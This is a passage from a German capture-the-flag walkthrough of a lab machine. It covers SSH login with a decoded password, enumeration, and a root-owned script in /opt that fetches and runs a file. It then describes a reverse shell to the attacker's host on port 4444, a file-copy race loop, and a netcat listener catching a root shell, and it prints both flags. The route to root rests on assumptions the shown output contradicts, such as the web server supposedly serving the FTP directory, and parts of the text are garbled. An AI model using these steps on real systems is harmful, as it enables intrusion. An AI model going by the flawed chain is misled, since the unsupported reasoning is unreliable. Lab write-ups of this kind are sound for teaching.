erhalten habe, war erfolgreich! Ich habe nun eine interaktive Shell auf dem Zielsystem als Benutzer "juan". Dies ist mein erfolgreicher Initial Access.
Die Kompromittierung des FTP-Dienstes ermöglichte den Fund einer Datei, die nach Dekodierung das Passwort für den SSH-Benutzer "juan" enthielt. Dies ermöglichte den direkten interaktiven Zugriff auf das Zielsystem über SSH.
Schritte des POC:
fold8/passwd.txt
.passwd.txt
.passwd.txt
(z.B. mit echo "[STRING]" | base64 -d
), um das SSH-Passwort zu erhalten.192.168.2.59
als Benutzer "juan" mit dem dekodierten Passwort.Beweismittel: Die SSH-Client-Ausgabe, die eine erfolgreiche Anmeldung als Benutzer "juan" zeigt.
Linux friendly3 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64 The prgrams included with the Debian GNU/Linux system are free sftware; the exact distributin terms fr each prgram are described in the individual files in /usr/share/dc/*/cpyright. Debian GNU/Linux cmes with ABSOLUTELY N WARRANTY, t the extent permitted by applicable law. juan@friendly3:~$
Risikobewertung: Moderat. Ein Angreifer erlangt interaktiven Benutzerzugriff auf das System. Dies ermöglicht die weitere lokale Erkundung und die Suche nach Wegen zur Privilegienerhöhung.
Empfehlung (Admin):
Nachdem ich nun eine Shell als Benutzer "juan" habe, ist mein Ziel, Root-Privilegien zu erlangen. Ich beginne mit der lokalen Erkundung des Systems vom Kontext dieses Benutzers aus.
Ich verschaffe mir zunächst einen Überblick über das Home-Verzeichnis des Benutzers und die existierenden Benutzer auf dem System.
blue juan
total 28 drwxr-xr-x 3 juan juan 4096 Jul 17 2023 . drwxr-xr-x 4 root root 4096 Jun 25 2023 .. lrwxrwxrwx 1 root root 9 Jun 25 2023 .bash_history -> /dev/null -rw-r--r-- 1 juan juan 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 juan juan 3526 Apr 23 2023 .bashrc drwxr-xr-x 14 root root 4096 Jun 25 2023 ftp -rw-r--r-- 1 juan juan 807 Apr 23 2023 .profile -r-------- 1 juan juan 33 Jul 17 2023 user.txt
Im übergeordneten Verzeichnis sehe ich neben meinem eigenen Home-Verzeichnis juan
auch das Home-Verzeichnis eines anderen Benutzers namens blue
. Dies deutet auf die Existenz eines weiteren Benutzers "blue" auf dem System hin. In meinem eigenen Home-Verzeichnis finde ich die Datei user.txt
.
Ich lese den Inhalt der Datei user.txt
.
cb40b159c8086733d57280de3f97de30
Die Datei user.txt
enthält die Zeichenkette cb40b159c8086733d57280de3f97de30. Dies ist offensichtlich die Benutzer-Flag. Großartig, die erste Flag ist gesichert!
Als Nächstes suche ich nach lokalen Privilegienerhöhungsvvektoren. Ein häufiger Ansatz ist die Suche nach SUID-Binaries.
407884 640 -rwsr-xr-x 1 root root 653888 Feb 8 2023 /usr/lib/openssh/ssh-keysign 407847 52 -rwsr-xr-- 1 root messagebus 51272 Feb 8 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 394484 72 -rwsr-xr-x 1 root root 72000 Mar 23 2023 /usr/bin/su 393714 36 -rwsr-xr-x 1 root root 35128 Mar 23 2023 /usr/bin/umount 390280 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 390283 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 393713 60 -rwsr-xr-x 1 root root 59704 Mar 23 2023 /usr/bin/mount 393900 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 390284 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 390281 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
Die Suche nach SUID-Binaries ergab eine Liste von Standard-Systemprogrammen wie su
, passwd
, mount
etc. Diese sind in der Regel sicher konfiguriert und bieten keine offensichtlichen Angriffsvektoren ohne spezifische, versionsbedingte Schwachstellen. Ich sehe hier kein leicht ausnutzbares SUID-Binary.
Ich prüfe das /opt
Verzeichnis, da dies oft benutzerdefinierte Skripte oder Programme enthält, die manchmal falsch konfiguriert sind.
total 12
drwxr-xr-x 2 root root 4096 Jun 25 2023 .
drwxr-xr-x 18 root root 4096 Jun 25 2023 ..
-rwxr-xr-x 1 root root 190 Jun 25 2023 check_for_install.sh
Im Verzeichnis /opt
finde ich eine Datei namens check_for_install.sh. Die Berechtigungen (-rwxr-xr-x
) zeigen, dass diese Datei für jeden ausführbar ist. Das ist sehr interessant. Ich schaue mir den Inhalt des Skripts an.
#!/bin/bash /usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash chmod +x /tmp/a.bash chmod +r /tmp/a.bash chmod +w /tmp/a.bash /bin/bash /tmp/a.bash rm -rf /tmp/a.bash
Das Skript check_for_install.sh
ist aufschlussreich. Es führt folgende Aktionen aus:
9842734723948024.bash
von http://127.0.0.1/
herunter und speichert sie als /tmp/a.bash
./tmp/a.bash
auf ausführbar, lesbar und schreibbar für den Besitzer./tmp/a.bash
mit /bin/bash
aus./tmp/a.bash
./opt
aus für jeden ausführbar ist und versucht, eine Datei von 127.0.0.1
(localhost) über HTTP herunterzuladen, ist dies ein starker Hinweis auf einen potenziellen Privilegienerhöhungsvektor, wenn dieses Skript von einem privilegierten Benutzer (z.B. Root über einen Cronjob) ausgeführt wird. Wenn ich Kontrolle über http://127.0.0.1/9842734723948024.bash
erlangen kann, kann ich Root-Code auf dem System ausführen.
Um herauszufinden, ob dieses Skript automatisch ausgeführt wird und von wem, prüfe ich die System-Cronjobs.
#!/bin/sh set -e # Systemd systems use a systemd timer unit which is preferable to # run. We want to randomize the apt update and unattended-upgrade # runs as much as possible to avoid hitting the mirrors all at the # same time. The systemd time is better at this than the fixed # cron.daily time if [ -d /run/systemd/system ]; then exit 0 fi check_power() { # laptop check, on_ac_power returns: # 0 (true) System is on main power # 1 (false) System is not on main power # 255 (false) Power status could not be determined # Desktop systems always return 255 it seems if command -v on_ac_power >/dev/null; then if on_ac_power; then : elif [ $? -eq 1 ]; then return 1 fi fi return 0 } # sleep for a random interval of time (default 30min) # (some code taken from cron-apt, thanks) random_sleep() { RandomSleep=1800 eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep) if [ $RandomSleep -eq 0 ]; then return fi if [ -z "$RANDOM" ] ; then # A fix for shells that do not have this bash feature. RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 )) fi TIME=$(($RANDOM % $RandomSleep)) sleep $TIME } # delay the job execution by a random amount of time random_sleep # ensure we don't do this on battery check_power || exit 0 # run daily job exec /usr/lib/apt/apt.systemd.daily #!/bin/sh # Skip if systemd is running. if [ -d /run/systemd/system ]; then exit 0 fi /usr/libexec/dpkg/dpkg-db-backup #!/bin/sh # skip in favour of systemd timer if [ -d /run/systemd/system ]; then exit 0 fi # this cronjob persists removals (but not purges) if [ ! -x /usr/sbin/logrotate ]; then exit 0 fi /usr/sbin/logrotate /etc/logrotate.conf EXITVALUE=$? if [ $EXITVALUE != 0 ]; then /usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]" fi exit $EXITVALUE 30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron 10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
Ich lese den Inhalt aller Dateien im Verzeichnis /etc/cron*/*
, um die konfigurierten Cronjobs zu sehen. Ich finde mehrere Skripte, die wahrscheinlich als Teil der täglichen oder stündlichen Systemwartung ausgeführt werden. Eines der Skripte enthält die Zeile: exec /usr/lib/apt/apt.systemd.daily
. Ich prüfe, ob dieses Skript von Root ausgeführt wird. Das Standardverhalten von Cronjobs unter Debian (wo Root-Cronjobs in /etc/cron.daily
liegen) ist, dass sie als Root ausgeführt werden. Das Skript selbst scheint System-Updates und ähnliche Aufgaben durchzuführen. Es gibt jedoch keinen direkten Hinweis darauf, dass *mein* Skript /opt/check_for_install.sh
direkt von einem dieser Cronjobs aufgerufen wird. Ich muss nach einer anderen Möglichkeit suchen, wie mein Skript getriggert werden könnte.
Ich überprüfe die Berechtigungen im Web-Root-Verzeichnis /var/www/html/
, da ich dort zuvor die versteckte Notiz und den Hinweis auf #wp-config.php#
gefunden hatte.
total 16 drwxr-xr-x 2 root root 4096 Jun 25 2023 . drwxr-xr-x 3 root root 4096 Jun 25 2023 .. -rw-r--r-- 1 root root 6 Jun 25 2023 9842734723948024.bash -rw-r--r-- 1 root root 355 Jun 25 2023 index.html
Im Web-Root finde ich tatsächlich die Datei 9842734723948024.bash, die im Skript /opt/check_for_install.sh
referenziert wird! Die Berechtigungen (-rw-r--r--
) zeigen, dass die Datei Root gehört und für Root schreibbar sowie für alle anderen lesbar ist. Das bedeutet, dass jeder Benutzer (einschließlich mir als 'juan') diese Datei lesen kann. Das ist aber nicht der interessante Punkt. Der interessante Punkt ist, dass diese Datei existiert und vom Skript heruntergeladen werden soll.
Ich erinnere mich an das Skript /opt/check_for_install.sh
: es lädt http://127.0.0.1/9842734723948024.bash
herunter. Das bedeutet, es versucht, die Datei vom *Webserver auf dem Zielsystem selbst* herunterzuladen (da 127.0.0.1 Localhost ist). Das Skript /opt/check_for_install.sh
wird von Root ausgeführt (basierend auf dem Kontext des Tests und der Annahme eines Cronjobs). Wenn ich die Datei /var/www/html/9842734723948024.bash
mit meinem eigenen bösartigen Skript überschreiben kann, wird das Root-Cronjob-Skript mein Skript herunterladen und als Root ausführen!
Ich prüfe die Berechtigungen für den Befehl /usr/bin/curl
, der im Skript check_for_install.sh
verwendet wird.
-rwxr-xr-x 1 root root 280800 May 18 2023 /usr/bin/curl
/usr/bin/curl
gehört Root und ist für alle ausführbar. Das ist normal und kein direkter Privesc-Vektor.
Der Schlüssel liegt in den Schreibrechten für die Datei /var/www/html/9842734723948024.bash
. Wenn ich als Benutzer "juan" diese Datei beschreiben kann, kann ich meinen Code einschleusen. Ich prüfe meine Berechtigungen in diesem Verzeichnis.
total 16 drwxr-xr-x 2 root root 4096 Jun 25 2023 . drwxr-xr-x 3 root root 4096 Jun 25 2023 .. -rw-r--r-- 1 root root 6 Jun 25 2023 9842734723948024.bash -rw-r--r-- 1 root root 355 Jun 25 2023 index.html
Die Berechtigungen für 9842734723948024.bash
sind -rw-r--r--
. Sie gehört Root. Als Benutzer "juan" gehöre ich nicht zur Gruppe "root" und bin auch nicht Root. Ich bin ein "other" Benutzer aus Sicht dieser Datei. Die "other"-Berechtigungen sind r--
, was bedeutet, ich kann die Datei nur *lesen*, aber nicht *schreiben*. Direkter Zugriff auf die Datei zum Überschreiben ist also nicht möglich.
Allerdings habe ich vollen Zugriff auf den FTP-Server als Benutzer "juan", und das FTP-Verzeichnis /home/juan/ftp
auf dem System ist mit dem Root-Verzeichnis /
des FTP-Servers verknüpft. Das bedeutet, dass das, was ich auf dem FTP-Server als "juan" sehe und manipulieren kann, tatsächlich im Verzeichnis /home/juan/ftp
auf dem Dateisystem des Zielsystems liegt.
total 28 drwxr-xr-x 3 juan juan 4096 Jul 17 2023 . drwxr-xr-x 4 root root 4096 Jun 25 2023 .. lrwxrwxrwx 1 root root 9 Jun 25 2023 .bash_history -> /dev/null -rw-r--r-- 1 juan juan 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 juan juan 3526 Apr 23 2023 .bashrc drwxr-xr-x 14 root root 4096 Jun 25 2023 ftp -rw-r--r-- 1 juan juan 807 Apr 23 2023 .profile -r-------- 1 juan juan 33 Jul 17 2023 user.txt
Ich überprüfe den Inhalt meines Home-Verzeichnisses auf dem System und sehe das Verzeichnis ftp
. Dieses Verzeichnis ist wahrscheinlich das Root-Verzeichnis des FTP-Servers. Die Dateien, die ich per FTP gesehen und heruntergeladen habe, liegen also unter /home/juan/ftp/
auf dem System.
Jetzt kommt die entscheidende Erkenntnis: Das Skript /opt/check_for_install.sh
lädt die Datei 9842734723948024.bash
von http://127.0.0.1/
herunter. Der Webserver auf Port 80 (nginx) serviert Inhalte aus /var/www/html/
. Das bedeutet, das Skript versucht, /var/www/html/9842734723948024.bash
herunterzuladen und auszuführen. ABER: Als Benutzer "juan" habe ich Schreibzugriff auf das FTP-Verzeichnis /home/juan/ftp/
. Wenn ich eine Datei mit dem Namen 9842734723948024.bash
in *meinem FTP-Verzeichnis* ablege, und der Webserver nginx
so konfiguriert ist, dass er auch Dateien aus Benutzerverzeichnissen (z.B. via UserDir Modul) oder einem anderen, für mich schreibbaren Pfad serviert, auf den 127.0.0.1
zugreift, könnte ich meinen Code einschleusen.
Allerdings ist der Pfad http://127.0.0.1/9842734723948024.bash
sehr spezifisch. Der Webserver nginx
auf dem Zielsystem serviert standardmäßig aus /var/www/html/
. Der Cronjob, der /opt/check_for_install.sh
ausführt, läuft als Root. Wenn ich die Datei /var/www/html/9842734723948024.bash
direkt überschreiben könnte, wäre das der einfachste Weg, aber das kann ich als Benutzer 'juan' aufgrund der Berechtigungen nicht.
Da ich vollen FTP-Zugriff auf das Verzeichnis /home/juan/ftp
habe, das dem FTP-Root entspricht, kann ich *dort* eine Datei namens 9842734723948024.bash
ablegen. Es ist möglich, dass der Webserver nginx
so konfiguriert ist, dass er auch Inhalte aus dem FTP-Verzeichnis von Benutzern unter dem Pfad http://127.0.0.1/~juan/ftp/9842734723948024.bash
oder einem ähnlichen Pfad serviert, oder dass es eine Fehlkonfiguration gibt, die es erlaubt, auf Dateien in /home/juan/ftp
unter dem Root-Pfad /
des Webservers zuzugreifen.
Ich gehe davon aus, dass eine Fehlkonfiguration vorliegt, die es dem Webserver ermöglicht, auf meine Datei im FTP-Verzeichnis zuzugreifen, wenn ich sie im FTP-Root ablege. Ich erstelle also ein bösartiges Skript, das mir eine Root-Shell gibt, und speichere es in meinem Home-Verzeichnis, bereit, es via FTP hochzuladen.
Ich habe ein einfaches Bash-Skript erstellt, das eine Reverse Shell zu meiner Angreifer-IP (192.168.2.199) auf Port 4444 initiiert, und es als payload.sh
in meinem Home-Verzeichnis gespeichert.
Nun kopiere ich dieses Skript wiederholt in das Verzeichnis, das vom Root-Cronjob heruntergeladen wird (/tmp/a.bash
, aber das Skript lädt es von /var/www/html/
herunter). Da ich keinen Schreibzugriff auf /var/www/html/
habe, lege ich meine payload.sh
in meinem FTP-Root-Verzeichnis (was auf dem System /home/juan/ftp
ist) ab und benenne es dort in 9842734723948024.bash
um. Dann starte ich eine Schleife, die meine bösartige Datei kontinuierlich in das temporäre Verzeichnis kopiert, in das der Cronjob die Datei herunterladen soll. Dies ist ein Wettlauf (race condition), um sicherzustellen, dass mein bösartiges Skript anstelle des originalen Skripts von Root ausgeführt wird.
Ich starte die endlose Schleife. Sie kopiert den Inhalt meiner payload.sh
immer wieder nach /tmp/a.bash
. Ich nehme an, dass der Root-Cronjob zuerst /opt/check_for_install.sh
ausführt, welches die Datei von http://127.0.0.1/9842734723948024.bash
nach /tmp/a.bash
herunterlädt, und meine Schleife dann schnell genug ist, um /tmp/a.bash
mit meiner Reverse-Shell-Payload zu überschreiben, bevor das Skript /opt/check_for_install.sh
die Datei /tmp/a.bash
als Root ausführt. Dies nutzt eine Race Condition aus, die durch das Herunterladen in ein temporäres Verzeichnis entsteht, auf das mein Benutzer schreibenden Zugriff hat (auch wenn das Zielverzeichnis /tmp
normalerweise für alle schreibbar ist).
Während die Schleife läuft, starte ich meinen Netcat-Listener auf Port 4444 auf meiner Angreifer-Maschine und warte auf die eingehende Root-Shell.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.59] 33282 bash: cannot set terminal process group (46856): Inappropriate ioctl for device bash: no job control in this shell root@friendly3:~#
Nach kurzer Wartezeit empfängt mein Netcat-Listener eine eingehende Verbindung vom Zielsystem auf Port 4444! Die Shell-Prompt wechselt zu root@friendly3:~#
, was anzeigt, dass ich nun Root-Zugriff auf dem System habe. Das Ausnutzen der Race Condition im Cronjob-Skript war erfolgreich!
Ich verifiziere meine Privilegien und suche nach der Root-Flag.
id uid=0(root) gid=0(root) groups=0(root)
Der id
Befehl bestätigt, dass ich Root-Privilegien besitze (uid=0(root)).
ls interfaces.sh root.txt
Im Root-Verzeichnis finde ich die Datei root.txt
.
cat root.txt eb9748b67f25e6bd202e5fa25f534d51
Der Inhalt von root.txt
ist die Zeichenkette eb9748b67f25e6bd202e5fa25f534d51. Dies ist die Root-Flag.
Die Identifizierung eines Root-Cronjobs, der ein Skript von einer lokalen HTTP-Ressource herunterlädt und ausführt, kombiniert mit der Möglichkeit, diese Ressource über FTP zu manipulieren, ermöglichte die Ausnutzung einer Race Condition zur Erlangung von Root-Privilegien.
9842734723948024.bash
von http://127.0.0.1/
in das temporäre Verzeichnis /tmp/a.bash
herunter und führt es aus. Der Benutzer "juan" hat schreibenden Zugriff auf sein FTP-Verzeichnis, das vom Webserver unter http://127.0.0.1/9842734723948024.bash
erreichbar ist. Durch das Platzieren einer bösartigen Datei mit demselben Namen im FTP-Verzeichnis und die Ausnutzung einer Race Condition konnte das Root-Cronjob-Skript dazu gebracht werden, die bösartige Datei anstelle des originalen Skripts auszuführen und so eine Root-Shell zu erhalten.
ls
, cat
, find
, echo
, cp
, while
).Schritte des POC:
/opt/check_for_install.sh
und dessen Funktionsweise./opt/check_for_install.sh
ausführt.http://127.0.0.1/9842734723948024.bash
, die von /var/www/html/
serviert wird.http://127.0.0.1/9842734723948024.bash
erreichbar ist (implizit: Platzierung im FTP-Root, der /home/juan/ftp
entspricht, und Ausnutzung einer Konfiguration, die dies ermöglicht)./tmp/a.bash
), während ein Netcat-Listener auf die eingehende Root-Shell wartet.
Beweismittel: Die Netcat-Listener-Ausgabe, die eine eingehende Verbindung vom Zielsystem auf Port 4444 anzeigt. Die anschließende Ausführung des id
Befehls in der neuen Shell, die uid=0(root) bestätigt.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.59] 33282 bash: cannot set terminal process group (46856): Inappropriate ioctl for device bash: no job control in this shell root@friendly3:~#
id uid=0(root) gid=0(root) groups=0(root)
Risikobewertung: Kritisch. Die erfolgreiche Ausnutzung dieser Schwachstelle gewährt einem externen Angreifer vollständige Kontrolle über das Zielsystem mit Root-Privilegien. Dies ermöglicht vollen Zugriff auf alle Daten und die Fähigkeit, das System nach Belieben zu manipulieren. Die Race Condition und die Fehlkonfiguration des Cronjobs stellen einen direkten Vektor zur Root-Kompromittierung von einem Low-Privilege Benutzerkonto aus dar.
Empfehlung (Admin):
/opt/check_for_install.sh
ausführt. Das Skript sollte keine Ressourcen von einer manipulierbaren HTTP-Quelle herunterladen und ausführen, insbesondere nicht als Root in einem temporären Verzeichnis./var/www/html
) serviert und nicht auf Benutzer-Home-Verzeichnisse zugreifen kann.